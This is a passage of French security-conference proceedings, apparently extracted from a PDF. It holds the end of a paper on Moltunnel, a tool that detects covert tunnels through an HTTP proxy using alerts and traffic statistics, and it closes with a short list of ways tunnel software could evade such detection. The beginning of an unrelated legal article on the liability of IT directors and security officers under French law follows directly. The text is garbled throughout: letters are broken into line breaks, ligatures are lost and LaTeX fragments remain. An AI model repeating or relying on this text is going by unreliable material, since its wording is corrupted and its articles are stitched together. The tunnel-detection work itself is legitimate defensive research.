Il est développé en C sous Unix (FreeBSD et Linux), en utilisant la bibliothèque LIBNIDS [17℄.

Cette bibliothèque, déjà utilisée dans de nombreux projets similaires ou 
onnexes (dsni� [18℄,

t
pstat�ow [19℄, netentropy, kill-p2p [20℄), permet notamment :

� D'é
outer le tra�
 IP au travers de la bibliothèque libp
ap.
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� De réassembler de manière relativement �able les �ux TCP, et de présenter au programme les

données telles qu'elles sont vues par les appli
ations à 
haque extrémité,

� De fermer brutalement une 
onnexion é
outée en envoyant un paquet RST bien formé à 
haque

extrémité de la 
onnexion.

Cette bibliothèque est don
 utilisée dans Moltunnel pour inter
epter le tra�
 (�ltré ou non par

une expression p
ap). La liste des 
onnexions en 
ours de traitement est visualisable par un so
ket

TCP de 
ommandes :

% telnet 127.0.0.1 19266

Trying 127.0.0.1...

Conne
ted to lo
alhost.hs
.fr.

Es
ape 
hara
ter is '^℄'.

dumplist

192.70.106.70:47015->192.70.106.49:8080 : <- 18650638/21739 ->

1780562/15960 8836s)

192.70.106.49:4016->82.67.212.152:443 : <- 18650598/21928 ->

1780488/15143 8836s)

192.70.106.134:32855->192.70.106.49:8080 :

<- 9698/13 -> 1872/6 25s)

192.70.106.134:43052->192.70.106.49:8080 :

<- 1460/1 -> 428/1 75s)

192.70.106.68:39609->192.70.106.49:8080 :

<- 2468/12 -> 1885/4 181s)
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192.70.106.49:2595->72.14.205.19:443 :

<- 2429/11 -> 1679/3 181s)

192.70.106.131:52116->$192.70.106.49:8080 :

<- 39317037/27172 -> 165/1

54s)

Les traitements suivants sont ensuite e�e
tués :

� Ignorer le tra�
 suivant les 
ritères : adresse IP sour
e, adresse IP destination, port destination,

URL dans le 
as de HTTP (�ltrage par expression rationnelle),

� Dans le 
as de tra�
 HTTP (ports à examiner paramétrables), véri�
ation que la requête

HTTP est bien formée (méthodes, syntaxe), qu'elle 
ontient un en-tête User-Agent, un en-

tête Host. Une liste noire de serveurs est paramétrable (expression rationnelle).

� Véri�
ation pour le tra�
 HTTP que l'en-tête User-Agent est dans une liste autorisée (white

list) ou dans une liste noire (bla
k list) (expressions rationnelles).

� Véri�
ation que la méthode CONNECT est utilisée sur des ports autorisés, et que le nom du

serveur demandé n'est pas entièrement numérique.

� Dans le 
as de tra�
 SSL (dire
t sur des ports paramétrables ou après ouverture du tunnel

TCP via la méthode CONNECT), véri�
ation que le premier paquet est bien issu du 
lient,

et que les deux premiers paquets sont bien Client Hello et Server Hello (ou Client Handshake,

Server Handshake ave
 un sous type Hello).

Cha
un de 
es tests est désa
tivable en fon
tion de l'adresse IP sour
e, destination ou par 
ouple

(sour
e, destination). Dans le 
as de HTTP, l'adresse destination est également 
her
hée dans le

nom du serveur pla
é dans l'URI envoyée au proxy.

Cha
un des tests positifs produit un avertissement dans l'erreur standard.

A la �n de 
haque 
onnexion, Moltunnel é
rit dans un �
hier plat au format CSV une ligne


ontenant les données suivantes :

� date de début en ms de la 
onnexion (format Unix)

� adresse IP sour
e, port sour
e, adresse IP destination, port destination

� nombre de paquets reçus par le 
lient, volume en o
tets reçus par le 
lient, taille moyenne de


es paquets, intervalle moyen de 
es paquets,

� mêmes informations pour les paquets envoyés au serveur,

� URI demandée dans le 
as de HTTP, User-Agent

Ce �
hier CSV peut ensuite être traité par des outils d'analyse basique de statistiques, é
rits en

Perl, qui pourront signaler :

� les 
onnexions plus longues qu'un temps paramétrable par port destination (par exemple

1000s),

� les 
onnexions dont le ratio upload/download est supérieur à un seuil paramétrable par port,

� les 
onnexions dont la taille moyenne des paquets est inférieure à un seuil paramétrable par

port,

� les 
ouples (
lients/serveur �nal) déte
tés plus de 200 fois, ave
 un intervalle moyen entre

requêtes inférieur à 60 se
ondes et un é
art type inférieur à 40 (seuils paramétrables).

En�n les s
ripts e�e
tuent un tri et une édition :

� n 
lients les plus 
onsommateurs en nombre de requêtes et volumes é
hangés,

� n serveurs les plus a

édés (nombre de requêtes, volumes é
hangés).
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4.2 Tunnels déte
tés

Même ave
 des métriques et des re
her
hes si simples, il est relativement aisé de déte
ter l'uti-

lisation de nombreux outils 
ités pré
édemment. Les exemples 
i-dessous ne sont évidemment pas

exhaustifs, le prin
ipe étant évidemment d'o�rir un outil générique.

4.3 Déte
tion temps réel

� Déte
tion de Skype utilisé à travers une 
onnexion SSL dire
te :

09:52:39 192.70.106.104:58741->212.72.49.141:443 :

Invalid SSL 
lient Hello

09:52:40 192.70.106.104:58741->212.72.49.141:443 :

Invalid SSL server Hello

� Déte
tion de Skype dans un proxy HTTPS utilisant la méthode CONNECT, par au moins

trois méthodes :

16:45:24 192.70.106.104:56478->192.70.106.49:8080 :

CONNECT all numeri
 : 212.72.49.141:443

16:45:24 192.70.106.104:56478->192.70.106.49:8080 :

No User-Agent for : CONNECT 212.72.49.141:443

16:45:24 192.70.106.104:56478->192.70.106.49:8080 :

No Host for : CONNECT 212.72.49.141:443

� Déte
tion de GNU-HTTPTUNNEL par déte
tion de l'absen
e d'en-tête User-Agent :

11:20:26 192.70.106.104:35205->192.70.106.49:8080 :

No User-Agent for : POST http://roadrunner.dyn.\

rominet.net:8080/index.html?
rap=1142504424

� Déte
tion de Google Talk par inter
eption de l'en-tête User-Agent :

08:50:47 192.168.128.108:1227->192.70.106.49 :8080 :

Bad User-Agent (Google Talk) for :

CONNECT www.google.
om:443

� Déte
tion de logi
iels mal 
on�gurés émettant des requêtes vers l'extérieur pour des serveurs

internes (i
i le 
as typique d'un 
lient Windows essayant de monter une ressour
e en utilisant

le redire
teur WebDav) :

09:33:37 192.70.106.80:1027->192.70.106.49:8080 :

Bad User-Agent (Mi
rosoft-WebDAV-MiniRedir/5.1.2600)

for : OPTIONS http://hs
/

� Utilisation d'un 
lient MSN (i
i Gaim) utilisant CONNECT :

09:47:28 192.70.106.103:46240->192.70.106.49:8080 :

CONNECT all numeri
 : 65.54.228.31:1863

09:47:28 192.70.106.103:46240->192.70.106.49:8080 :

No User-Agent for : CONNECT 65.54.228.31:1863
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� Utilisation d'un proto
ole non autorisé sur le port 443 :

10:50:39 192.70.106.49:3494->81.62.237.118:443 :

Invalid SSL trafi
 (Server Banner})

Déte
tion statistique

� Déte
tion de l'utilisation de WebEx pour une prise de 
ontr�le à distan
e par alerte sur le

ratio U/D ou D/U et la taille des paquets :

Wrong Ratio 0.334;1144151045.457;192.70.106.104;32840;

192.70.106.49;

8080;45670;80;11417;142.7;503;239;64529;270.0;191;

"CONNECT el
b14.webex.
om:443";

Small Pa
kets 142.7 / 270.0:

1144151045.457;192.70.106.104;32840;192.70.106.49;8080;

45670;80;11417;142.7;503;239;64529;270.0;191;

"CONNECT el
b14.webex.
om:443";

� Déte
tion de l'utilisation de SSLTunnel par les mêmes métriques :

Wrong Ratio 0.992;1144163372.934;192.70.106.103;40149;

192.70.106.49;8080;876118;501;111465;222.5;1748;505;

86801;171.9;1734;"CONNECT smash.dyndns.org:443";

Small Pa
kets 222.5 / 171.9:

1144163372.934;192.70.106.103;40149;192.70.106.49;8080;

876118;501;111465;222.5;1748;505;86801;171.9;1734;

"CONNECT smash.dyndns.org:443";

� Déte
tion de l'utilisation de Google Talk à travers un relais HTTPS :

Small Pa
kets 166.5 / 154.3:

1144136838.355;192.70.106.103;46236;192.70.106.49;

8080;5602559;45;7494;166.5;122660;109;16824;154.3;51399;

"CONNECT talk.google.
om:5222";

� Déte
tion d'une 
onnexion longue (3400 se
ondes) vers le serveur de tunnel 
ommer
ialHTTP-

TUNNEL :

Long 
onne
tion: 1144144696.472;192.70.106.103;47894;

192.70.106.49;8080;3422533;2901;2842855;980.0;1176;

1;182;182.0;0;"POST http://209.8.233.161/data.htm";

� Connexion longue (12529 se
ondes) vers une passerelle HTTP ↔ IRC :

Long 
onne
tion:

1144148340.272;192.70.106.104;58656;192.70.106.49;8080;

12529072;1895;389335;205.5;6611;1;828;828.0;0;"GET

http://web
hat.xs4all.nl/
gi-bin/ir
net/nph-ir
.
gi";
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Les analyses des requêtes multiples sont plus di�
iles à analyser, on peut lister 
i-dessous le tableau

émis par Moltunnel pour les ensembles de 
onnexion de plus de trois minutes, ave
 un nombre de

requêtes supérieur à 10, et un é
art type inférieur à 60.

Client-Serveur Tps é
oulé Requ Moyenne EC

192.70.106.101-207.46.1.4 19407 978 19.84 2.87

3-192.70.106.132-www.lemondeinformatique.fr 303 356 0.85 39.07

192.70.106.132-www.lemondeinformatique.fr 303 356 0.85 39.07

192.70.106.102-www.immostreet.fr 309 403 0.77 20.29

4-192.70.106.132-www.lemondeinformatique.fr 303 356 0.85 39.07

192.70.106.102-www.3suisses.fr 238 366 0.65 26.60

1-192.70.106.132-www.lemondeinformatique.fr 303 356 0.85 39.07

192.70.106.101-207.46.1.8 1376 85 16.19 58.16

2-192.70.106.132-www.lemondeinformatique.fr 303 356 0.85 39.07

192.70.106.131-ftp.de.debian.org 599 285 2.10 37.94

192.70.106.132-www.ee
is.udel.edu 185 195 0.95 15.22

192.70.106.132-ng-prod1.
is
o.
om 782 192 4.07 56.07

192.70.106.102-www.super-se
retaire.
om 656 1405 0.47 18.67

1-192.70.106.131-ftp.de.debian.org 599 285 2.10 37.94

192.70.106.132-www.network
omputing.
om 334 135 2.48 17.40

1-192.70.106.132-www.ee
is.udel.edu 185 195 1.18 25.15

192.70.106.134-www.ter-sn
f.
om 189 276 0.69 24.17

\textbf{192.70.106.104-192.70.106.166:8080 675 854 0.79 0.32

1-192.70.106.132-www.network
omputing.
om 334 135 2.48 17.40

192.70.106.78-altern.org 217 55 3.95 53.67

192.70.106.102-se
.3suisses.fr 185 326 0.57 14.97

192.70.106.80-www.
onrad.fr 241 204 1.18 25.15

192.70.106.103-smash.dyndns.org:80 1260 1119 1.13 0.85

2-192.70.106.131-ftp.de.debian.org 599 285 2.10 37.94

2-192.70.106.132-www.network
omputing.
om 334 135 2.48 17.40

192.70.106.78-www.
hannel4.
om 182 80 2.28 43.93

Cher
her les é
art-types inférieurs à 5 permet de repérer trois tunnels ou assimilés e�e
tifs :

� une utilisation très longue de MSN Messenger via la gateway HTTP 207.46.1.4,

� une utilisation de Loophole, re
onnaissable à un é
art-type très faible,

� une utilisation de FirePass, par le même moyen.

On voit aussi que 
ertains sites sont à la limite du faux positif (www.super-se
retaire.
om) si le


ritère � é
art-type � est trop monté, et qu'il serait intéressant de 
orréler 
es résultats ave
 d'autres

métriques à déterminer.

5 Limitations et bugs, évolutions

A l'heure a
tuelle, Moltunnel est trop dépendant des problèmes éventuels de libnids : 
ertaines


onnexions vers le proxy (en parti
ulier depuis Internet Explorer) n'étaient jamais déte
tées, 
e qui

pose évidemment de gros problèmes :

� pas d'analyse statistique possible,

� en
ombrement de la mémoire.
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Un 
orre
tif permettant de pallier 
e problème (envoi simultané des segments FIN par les deux

parties) a été développé. Un autre problème, en 
ours de résolution, est l'in
apa
ité de libnids à

gérer des tailles de fenêtres supérieures à 64Ko : hors 
ertaines piles TCP, dont Windows, utilisent

la te
hnique du TCP Window S
aling lors de gros télé
hargements, 
e qui aboutit à des bu�ers

trop larges non a
quittés :

Apr 4 15:50:29 fw libnids: Too mu
h data in TCP re
eive queue,from

192.70.106.49:8080 to 192.70.106.132:35380

Cela pose un problème assez sérieux quand de nombreux télé
hargements importants sont e�e
tués,

puisque libnids stoppe l'observation de la 
onnexion.

Il est évident que les 
ontournements possibles des déte
tions e�e
tuées sont nombreux :

� Corre
tion et mise en pla
e des en-têtes adéquats dans les logi
iels de tunnels,

� Utilisation dans les logi
iels d'une 
onnexion montante et d'une des
endante a�n que les ratios

é
hangés restent 
orre
ts (
e qui est déjà le 
as pour Gnu-HTTPTUNNEL),

� Rupture de la 
onnexion à intervalles réguliers a�n de 
onserver des requêtes de durée normale,

� Mise en pla
e de fausses requêtes mélangées ave
 
elles transportant des données a�n de

perturber les déte
tions liées à l'é
art-type,

� Utilisation de paquets d'é
hange ressemblant à du SSL (
as déjà semble t-il de Skype pour


ertaines de ses 
onnexions),

Un des axes d'évolution possibles, qui permettrait d'être plus générique et plus résistant, serait de

faire passer les pro�ls de 
onnexion dans des réseaux de neurones, a�n d'identi�er des patterns :

� à la fois dans la 
onnexion TCP elle-même,

� dans les 
onnexions e�e
tuées vers un serveur en parti
ulier.

D'autre part, d'un point de vue plus pratique, il serait né
essaire :

� de prévoir une infrastru
ture agent/
olle
teur, dans lequel des agents d'é
oute suivent les


onnexions TCP en de multiples points du réseau et envoient leur données à un serveur


entral qui e�e
tue l'analyse statistique, ave
 une 
on�guration 
entralisée.

� d'évaluer la possibilité d'utiliser d'autres bibliothèques que NIDS, et en parti
ulier de valider

s'il est possible d'utiliser des moteurs plus évolués tels que Snort [21℄ pour 
e travail.

Le 
ode de Moltunnel devrait être disponible sous li
en
e BSD au se
ond semestre 2006.
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Résumé Les risques asso
iés à un problème de sé
urité du système d'information et leurs


onséquen
es juridiques en matière de responsabilité sont perçus par la plupart des profes-

sionnels de l'informatique et en parti
ulier les DSI, les RSSI ainsi que les administrateurs

Réseaux et Systèmes, 
omme une jungle peu lisible, porteuse de 
raintes di�uses et partant

mal 
ontr�lées. L'obje
tif de 
ette présentation est de donner à 
eux inquiets au regard des

responsabilités qu'ils en
ourent, quelques 
lés de dé
odage du système juridique sus
eptible

de s'appliquer dans leurs a
tivités quotidiennes de prote
tion, de surveillan
e, de 
ontr�le et

de mise en 
onformité du réseau d'entreprise.

Ainsi, après un résumé des prin
ipes de mise en jeu de la responsabilité 
ivile et pénale

des personnes physiques et morales (se
tion 1), nous examinerons, à travers di�érents 
as, les

prin
ipaux 
ontextes opérationnels dans lesquels les a
teurs de la sé
urité de l'entreprise et, en

parti
ulier, les DSI ou les RSSI, 
ontinuent de s'interroger sur l'étendue de leur responsabilité

(se
tion 2).

Ordre juridique 
on
erné : Fran
e

1 Notions élémentaires du droit de la responsabilité

Nous présenterons i
i, de façon très résumée, les di�érentes voies d'a
tion en responsabilité qui

peuvent être envisagées, ainsi que les 
onditions auxquelles elles doivent répondre.

On distinguera ainsi la voie 
ivile (1.1) de la voie pénale (1.2), dont on peut noter d'ores et déjà

la divergen
e des philosophies, la première visant à une simple réparation pé
uniaire du préjudi
e

subi tandis que la se
onde tend d'abord à obtenir la punition du justi
iable

1

.

⋆
Avertissement : Le présent arti
le re�ète simplement l'opinion de son auteur et n'a pas valeur de


onsultation juridique. La reprodu
tion et la représentation à des �ns d'enseignement et de re
her
he

sont autorisées sous réserve que soit 
lairement indiqué le nom de l'auteur et la sour
e. Pour toute autre

utilisation, 
onta
tez l'auteur à l'adresse de 
ourrier éle
tronique suivante : marie.barel�legalis.net

1

Notons i
i néanmoins une parti
ularité du droit français, que l'on ne retrouve pas généralement dans les

droits étrangers, qui est que le juge pénal peut simultanément pronon
er une san
tion pénale et �xer le

montant d'une réparation 
ivile (lorsque la plainte est assortie d'une 
onstitution de partie 
ivile destinée

à demander la réparation pé
uniaire du dommage). Cette situation aboutit souvent à de 
urieuses 
onsé-

quen
es, tant�t une peine symbolique assortie d'indemnisations élevées, tant�t une lourde 
ondamnation

pénale assortie d'un euro symbolique à titre de réparation.
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1.1 La responsabilité 
ivile

La responsabilité 
ivile, qui 
onsiste en l'obligation de réparer le préjudi
e 
ausé à autrui, peut

avoir di�érents fondements ; en parti
ulier, les sour
es de responsabilité qui pourront être re
her
hées

en matière de sé
urité des systèmes d'information sont :

� l'inexé
ution d'une obligation née d'un 
ontrat (responsabilité 
ontra
tuelle) � à 
et égard,

on rappellera i
i que l'externalisation de la gestion de la sé
urité du SI par 
ontrat (infogé-

ran
e), si elle permet d'organiser les responsabilités respe
tives du 
lient et du prestataire en

�xant l'étendue de leur responsabilité 
ivile ainsi que son plafond �nan
ier, elle ne permet pas

à l'inverse d'alléger la responsabilité pénale du responsable sé
urité de l'entreprise

2

, l'aména-

gement 
ontra
tuel d'un transfert de responsabilité pénale étant inopérant en 
ette matière

qui est � d'ordre publi
 �

3

;

ou (en l'absen
e de relation 
ontra
tuelle),

� la faute : on parle i
i de responsabilité 
ivile déli
tuelle ou quasi-déli
tuelle, selon que

la faute a été 
ommise de façon intentionnelle ou non (par négligen
e ou impruden
e). Dans

tous les 
as

4

, le demandeur à l'a
tion devra rapporter la preuve à la fois d'une faute, d'un

préjudi
e et d'un lien de 
ausalité, l'appré
iation portée par le juge se faisant en référen
e au


omportement de l' � homme raisonnable �. . . , le problème pour le DSI �ou le RSSI- étant,

de 
e point de vue et 
omme le souligne un auteur ave
 humour, que � le 
on
ept de DSI

raisonabilus n'a pas en
ore émergé de façon très 
laire � !

Cette faute, sour
e de responsabilité, peut avoir été 
ommise :

� par soi-même ; ou bien en
ore ;

� par une personne qui dépend de soi : responsabilité dite � du fait des préposés � , telle

que prévue à l'arti
le 1384 alinéa 5. Nous verrons plus loin dans nos développements dans

quelles 
onditions la responsabilité de l'employeur peut être engagée du fait des agissements

de ses salariés, et surtout 
omment il peut en prin
ipe s'en exonérer.

1.2 La responsabilité pénale

La responsabilité pénale, qui est une responsabilité personnelle (et non assurable), oblige

de supporter la peine prévue pour l'infra
tion qu'on l'a 
ommise soi-même. De plus, pour être

punissable, rappelons qu'il faut rapporter la preuve des trois éléments 
onstitutifs de l'infra
tion

5

:

� élément légal : suppose l'existen
e préalable d'un texte in
riminant et san
tionnant les agis-

sements visés (étape de quali�
ation de l'infra
tion) ;

� élément matériel : suppose que l'infra
tion s'est matérialisée par di�érents a
tes (il peut s'agir

aussi de l'omission de réaliser un a
te pres
rit par la loi ou le règlement)

2

Sur 
e sujet, lire�
iter2.

3

En 
e sens, la loi � Informatique et libertés � qui prévoit, en 
as de sous-traitan
e de traitements de

données à a 
ara
tère personnel, que l'entreprise qui 
on�e 
es données à un tiers porte elle-même, en tant

que � responsable du traitement �, toutes les obligations légales a�érentes à la sé
urité et la 
on�dentialité

des données. Dès lors, 
onformément à l'arti
le 35 de la loi du 6 août 2004, 
'est à l'entreprise 
liente

de pres
rire au prestataire les mesures de sé
urité que 
elui-
i doit respe
ter, et 
e sera la responsabilité

pénale de l'entreprise 
liente qui sera re
her
hée en 
as de problème.

4

Arti
les 1382, 1383 et 1384 du 
ode 
ivil � arti
les qui, sur les 2328 que 
ontient 
e 
ode représentent à

eux seuls 10 % des dé
isions rendues par les tribunaux.

5

Arti
le 111-3 du 
ode pénal. Correspond à l'adage � nullum 
rimen, nulla poena sine lege � (� pas de


rime, pas de peine sans loi �).
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� élément intentionnel : suppose la volonté (
ons
iente et libre) de l'auteur. Il est important i
i

de faire la di�éren
e entre la volonté et le mobile (qui, lui, est indi�érent

6

). Ainsi, la volonté

détermine l'infra
tion alors que le mobile tente d'en justi�er la 
ommission, d'y apporter une

raison, un motif. De même, lorsque la loi prévoit un dol spé
ial (par exemple, les a
tes de

terrorisme supposent, pour emporter 
ette quali�
ation, le � but de troubler gravement l'ordre

publi
, ou la terreur �), 
elui-
i ne se 
onfond pas ave
 le mobile : le dol spé
ial est invariable,

pour une même infra
tion, quel que soit le ou les auteurs, tandis que le mobile, lui, reste

personnel et varie suivant l'auteur.

Ainsi, il résulte de 
e qui pré
ède que, sur le plan pénal, la responsabilité de l'employeur

(dirigeant de l'entreprise) ne pourra être retenue que si 
elui-
i a intentionnellement parti
ipé à

la 
ommission de l'infra
tion � 
e qui 
onstituerait un 
as tout à fait ex
eptionnel, l'hypothèse la

plus 
ourante étant que le salarié a agi à l'insu de son employeur. Notons 
ependant bien i
i que,


omme le souligne d'ailleurs les plus éminents prati
iens du droit

7

, l'employeur (même en dehors de

toute parti
ipation à la 
ommission de l'infra
tion), qui aurait pris 
onnaissan
e du délit 
ommis

par son salarié, aura le plus grand intérêt à dénon
er les faits aux autorités judi
iaires, se plaçant

ainsi du 
�té des poursuivants pour démontrer son absen
e d'impli
ation dans les faits litigieux.

Une abstention, voire pire le silen
e � en 
onnaissan
e des faits �, pourrait à l'inverse faire revêtir à

l'employeur l'habit du 
ompli
e ou, mais de manière en
ore plus improbable, la qualité de 
oauteur

(à 
ondition de prouver dans 
e 
as que la fourniture de moyens ayant 
on
ouru à l'infra
tion a été

faite ave
 l'intention de 
ommettre le délit).

Il 
onvient également de souligner, pour la suite des développements, que les personnes mo-

rales (entreprises) ne peuvent être pénalement poursuivies que lorsque la loi ou le règlement le

prévoit expressément, 
onformément à l'arti
le 121-2 du 
ode pénal. Par exemple, l'arti
le 323-6

du 
ode pénal prévoit que les personnes morales peuvent être dé
larées responsables des infra
tions

dé�nies aux arti
les 323-1 et suivants (entrave ou atteintes aux systèmes et aux données informa-

tiques).

En�n, et surtout, la question de savoir si les DSI* et les RSSI* en
ourent une responsabilité

pénale 
onduit à se pen
her sur le mé
anisme de la délégation de pouvoir � qui a pour objet

et pour e�et d'opérer un transfert de la responsabilité pénale du 
hef d'entreprise vers le préposé

délégataire �

8

.

La question de la délégation de pouvoir et de la responsabilité pénale du DSI/RSSI.

�

6

Pour une a�rmation du 
ara
tère inopérant du mobile en tant que fait justi�
atif d'une infra
tion, on

peut 
iter dans le domaine SSI :

So
. 1er o
tobre 2002, Gaz. pal. 20 avril 2003, p. 33, note Tessalonikos > au sujet d'un salarié qui

avait voulu 
ritiquer les 
hoix de sa dire
tion informatique en matière de sé
urité ; à l'appui de ses


ritiques sur le dispositif en pla
e, ledit salarié avait pro
édé à des tests d'intrusion sans autorisation de

sa hiérar
hie et a

édé à des données auxquelles il n'était pas habilité à a

éder ave
 son propre mot de

passe. Con�rmation de son li
en
iement pour faute grave.

7

Par exemple, Me Alain Benssousan à l'o

asion de la table ronde sur la � gestion de 
rise � (Eurose


2005) ou Me Oliver Iteanu dans le 
adre du Salon juridique de l'Internet et du numérique, édition 2004

� 
onféren
e sur � la responsabilité du RSSI dans l'entreprise �.

8

Ainsi, le mé
anisme en question ne joue que dans le 
adre de relations hiérar
hiques organisées dans

une entreprise ou un groupe d'entreprises et ne peut en au
un 
as, 
omme nous l'indiquions plus haut,

s'appliquer entre une so
iété 
liente et le salarié d'un tiers (infogérant par exemple).
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Ainsi, 
omme a pu l'exposer pré
édemment Me Isabelle Renard [REN℄, les DSI et les RSSI

en
ourent bien, en tant que spé
ialistes de la sé
urité des systèmes d'information, une responsabilité

pénale sous réserve que 
eux-
i aient été investis dans 
e domaine d'une délégation de pouvoir

valable.

Pour 
e faire, la preuve de la délégation qui doit être rapportée par le 
hef d'entreprise � et

dont les fondamentaux du régime ont été �xés, en l'absen
e de dispositions légales y a�érent, par

les tribunaux eux-mêmes � 
onsiste en la réunion de trois éléments qui 
ara
térisent le transfert de


ompéten
es envers la personne délégataire :

1. autorité : signi�e que la personne investie de la délégation doit avoir un pouvoir de 
omman-

dement tel que les salariés appliquent ses dire
tives. Ainsi, dans le 
adre du SI*, le délégataire

doit par exemple être en position de faire respe
ter les modalités d'utilisation des ressour
es

informatiques dé�nies dans la 
harte de l'entreprise. A 
et égard, Me Renard, dans son arti
le

pré
ité, s'interroge à juste titre sur le point de savoir si un RSSI peut être valablement muni

d'une délégation de pouvoir, � puisque généralement 
ette fon
tion ne s'a

ompagne pas de

pouvoir hiérar
hique � ;

2. 
ompéten
es : en matière de SI, s'ajouteront i
i aux 
ompéten
es te
hniques la 
onnaissan
e et

la maîtrise des textes légaux dont le DSI ou, éventuellement le RSSI, aura la 
harge de 
ontr�ler

l'appli
ation ;

3. moyens : vise en parti
ulier le budget alloué au délégataire pour mettre en ÷uvre les mesures

né
essaires pour maîtriser les risques identi�és de l'entreprise.

Au-delà de 
es 
onditions de validité de la délégation de pouvoir, d'autres exigen
es portant sur

l'objet de la délégation doivent en
ore être satisfaites :

� la délégation doit être pré
ise (à 
et égard, si au
une règle de forme n'est en prin
ipe requise-

la jurispruden
e admettant même les délégations verbales dès lors qu'elles sont dépourvues

d'ambiguïté -, le délégataire en matière de SI aura i
i intérêt à exiger un é
rit très pré
is

quant à l'étendue de sa mission et quant au 
hamp exa
t de la délégation de pouvoir), et

� elle doit revêtir un 
ara
tère de permanen
e (pas de délégation à une personne o

upant

temporairement le poste).

En�n, d'après la jurispruden
e, le 
hef d'entreprise est tenu d'informer le salarié des 
onséquen
es

produites par la délégation de pouvoir, à savoir un transfert de responsabilité pénale, mais il n'est

a priori pas né
essaire que le salarié l'ait formellement a

eptée pour que 
elle-
i soit valable (par


ontre l'expression d'un refus ne permettrait pas que la délégation produise d'e�et).

En dernier lieu, notons également que, depuis une jurispruden
e relativement ré
ente (Cass.

Crim.* 30 o
tobre 1996), la sub-délégation de pouvoir est possible dès lors que le sub-délégataire est

lui-même pourvu de la 
ompéten
e, de l'autorité et des moyens né
essaires pour exer
er sa mission.

Ainsi, un DSI pourrait déléguer en partie ses pouvoirs à un autre salarié : le RSSI par exemple, ou

plus vraisemblablement et dans le 
adre de grands groupes, aux responsables informatiques 
hargés

de départements ou de �liales (sous réserve du prin
ipe de non 
umul des délégations de pouvoir

9

).

Ainsi, pénalement responsable sous réserve de délégation de pouvoir valide, on sait pourtant


ombien la mission de la DSI se 
omplexi�e au �l de l'adoption de nouvelles réglementations et

normes internationales, 
e qui rend 
haque jour plus di�
ile la maîtrise d'un SI devenu la sour
e

potentielle d'infra
tions de plus en plus variées, parmi lesquelles :

9

Suivant 
e prin
ipe, pour une �liale ou un département déterminé, une seule personne devra être investie

du pouvoir.
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� le télé
hargement illi
ite de logi
iels ou �
hiers protégés par le droit d'auteur au sein de

l'entreprise ;

� le manquement au respe
t de l'obligation de sé
urité a�érente aux données à 
ara
tère per-

sonnel

10

traitées par l'entreprise (données 
lients 
omportant des informations �nan
ières par

exemple) ; et

� toutes les infra
tions pénales sus
eptibles d'être 
ommises par les salariés sur le réseau en uti-

lisant les moyens de l'entreprise (di�amation, tra�
 d'images pédophiles, fuite d'informations


on�dentielles, et
.).

Pour mesurer de manière plus 
on
rète le risque de voir engager 
ette responsabilité � du fait

du système d'information �, nous envisagerons maintenant de traiter su

in
tement plusieurs hy-

pothèses tirées du 
ontexte opérationnel en matière de SSI.

2 Cas de mise en jeu de la responsabilité dans di�érents 
ontextes

opérationnels SSI

Les 
as de responsabilité 
ivile ou pénale envisagés dans le 
adre du présent arti
le traiteront

des hypothèses suivantes :

� préjudi
e 
ausé à un tiers au travers du système d'information

� responsabilité engagée du fait d'un salarié

� responsabilité du fait des mesures de surveillan
e opérées sur le réseau d'entreprise

� responsabilité engagée en raison d'un défaut de mise en 
onformité à la réglementation.

2.1 De la responsabilité 
ivile ou pénale du fait d'un préjudi
e 
ausé à un tiers au

travers du système d'information de l'entreprise

Cas du défaut de sé
urisation d'un traitement de données à 
ara
tère personnel L'hy-

pothèse posée est la suivante : une entreprise enregistre les réponses de ses 
lients à un questionnaire

en ligne sur son site web dans un �
hier non protégé auquel un tiers parvient à a

éder. Il est pré
isé

que 
e �
hier 
ontient des données à 
ara
tère personnel et qu'il pro
ède d'une 
olle
te de données

loyale et ayant rempli les formalités préalables de dé
laration auprès de la CNIL.

Dans 
e 
adre, il est né
essaire de dé�nir en premier lieu qui est le � responsable du traitement �,

au sens de la loi � Informatique et libertés �. La loi du 6 janvier 1978, modi�ée par la loi n�2004-801

du 6 août 2004, le dé�nit en son arti
le 3-I 
omme 
elui qui détermine les �nalités et les moyens

du traitement 
onsidéré. Il ne s'agit don
 pas, d'une manière générale, du servi
e informatique

ni du sous-traitant te
hnique

11

qui a la 
harge de gérer 
es traitements, mais bien de l'entreprise

propriétaire de 
es traitements et à travers elle, son représentant légal.

Ensuite, il 
onvient de rappeler quelles sont les obligations qui pèsent sur le responsable d'un

traitement de données à 
ara
tère personnel en matière de sé
urité du �
hier. Sur 
e point, 
'est

l'arti
le 34 de la loi pré
itée qui prévoit que :

� Le responsable du traitement est tenu de prendre toutes pré
autions utiles (. . . ) pour préserver

la sé
urité des données et, notamment, empê
her qu'elles soient déformées, endommagées, ou que

des tiers non autorisés y aient a

ès. �

10

Pour une dé�nition, voir l'arti
le 2 de la loi n�2004-801 du 6 août 2004 modi�ant la loi historique

� Informatique et libertés � du 6 janvier 1978 : http://www.
nil.fr/index.php?id=300

11

Voir nos pré
édentes remarques 
on
ernant la responsabilité de l'infogérant SSI et les dispositions de

l'arti
le 35 de la loi du 6 août 2004.
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En 
as de manquement 
ette obligation de sé
urité et de 
on�dentialité des données, le législateur

a prévu une peine de 5 ans d'emprisonnement et 300.000 euros d'amende (art. 226-17 du 
ode pénal).

Toutefois, en l'absen
e de pres
riptions te
hniques pré
ises, 
'est au responsable du traitement de

déterminer les mesures à mettre à ÷uvre, en fon
tion � de la nature des données et des risques

présentés par le traitement. �

En�n, sur les 
onséquen
es de l'absen
e de mesure de prote
tion du système d'information et

plus parti
ulièrement de la partie d'un site web hébergeant des données à 
ara
tère personnel, il est

intéressant de rappeler également, après l'a�aire Kitetoa, que le responsable du traitement 
on
erné

se trouverait empê
hé de :

1� se 
onstituer partie 
ivile en vue de l'obtention d'une réparation pé
uniaire 
ar 
elui-
i ne

saurait � se prévaloir de ses propres 
aren
es et négligen
es pour arguer d'un prétendu préjudi
e �

12

en réalité subi par les personnes 
on
ernées ;

2� repro
her à un tiers d'avoir a

éder frauduleusement à 
es données � à défaut de toute

indi
ation [du 
ara
tère 
on�dentiel℄ de 
es données et de tout obsta
le à l'a

ès �

13

.

Toutefois, 
ette dé
ision majeure, qui prend le 
ontre-pied de la position 
lassique en 
ara
-

térisant l'absen
e d'élément intentionnel par le défaut d'une interdi
tion (et non plus d'une au-

torisation

14

) expresse du maître du système et 
onditionne l'in
rimination d'a

ès frauduleux à

l'existen
e d'un dispositif de sé
urité, ne doit pas être interprétée 
omme un revirement 
omplet

de la jurispruden
e. Elle marque simplement, selon nous, une plus grande intransigean
e à l'égard

des 
ertaines � vi
times � d'a

ès frauduleux qui ont failli à leur obligation de sé
urité prévue par

la loi, les 
ir
onstan
es de l'espè
